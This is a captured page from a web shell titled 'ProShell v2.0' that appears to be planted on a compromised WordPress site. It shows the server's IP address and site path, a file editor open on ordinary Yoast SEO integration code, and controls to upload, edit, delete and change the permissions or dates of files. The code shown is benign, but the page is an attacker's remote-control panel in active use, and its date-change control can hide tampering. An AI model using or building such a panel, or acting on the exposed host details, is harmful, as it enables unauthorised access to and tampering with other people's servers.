ProShell v2.0
Dashboard
Server Info
Server: 158.106.128.192
PHP: 8.2.33
home
planet5
public_html
bansibaba.com
wp-includes
2026-09-12 18:17:32
Editing: wpml.php
Cancel
Save Changes
<?php namespace Yoast\WP\SEO\Integrations\Third_Party; use Yoast\WP\SEO\Conditionals\Third_Party\WPML_Conditional; use Yoast\WP\SEO\Integrations\Integration_Interface; /** * WPML integration. * * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded -- Known false positive with acronyms. Fix expected in YoastCS 3.x. */ class WPML implements Integration_Interface { /** * Initializes the integration. * * This is the place to register hooks and filters. * * @return void */ public function register_hooks() { \add_action( 'wpseo_home_url', [ $this, 'filter_home_url_before' ] ); \add_filter( 'home_url', [ $this, 'filter_home_url_after' ], 100 ); } /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ WPML_Conditional::class ]; } /** * Adds a filter to WPML's wpml_get_home_url filter to ensure we get the unmanipulated home URL. * * @return void */ public function filter_home_url_before() { \add_filter( 'wpml_get_home_url', [ $this, 'wpml_get_home_url' ], 10, 2 ); } /** * Removes the wpml_get_home_url filter to return the WPML, language-enriched home URL. * * @param string $home_url The filtered home URL. * * @return string The unfiltered home URL. */ public function filter_home_url_after( $home_url ) { \remove_filter( 'wpml_get_home_url', [ $this, 'wpml_get_home_url' ], 10 ); return $home_url; } /** * Returns the original URL instead of the language-enriched URL. * This method gets automatically triggered by the wpml_get_home_url filter. * * @param string $home_url The url altered by WPML. Unused. * @param string $url The url that isn't altered by WPML. * * @return string The original url. */ public function wpml_get_home_url( $home_url, $url ) { return $url; } }
Upload Files
Cancel
Upload
Create New
Cancel
Create
Change Permissions
Cancel
Save
Change Date
Cancel
Save
Rename Item
Cancel
Save
Confirm Delete
Are you sure you want to delete the selected items?
Cancel
Delete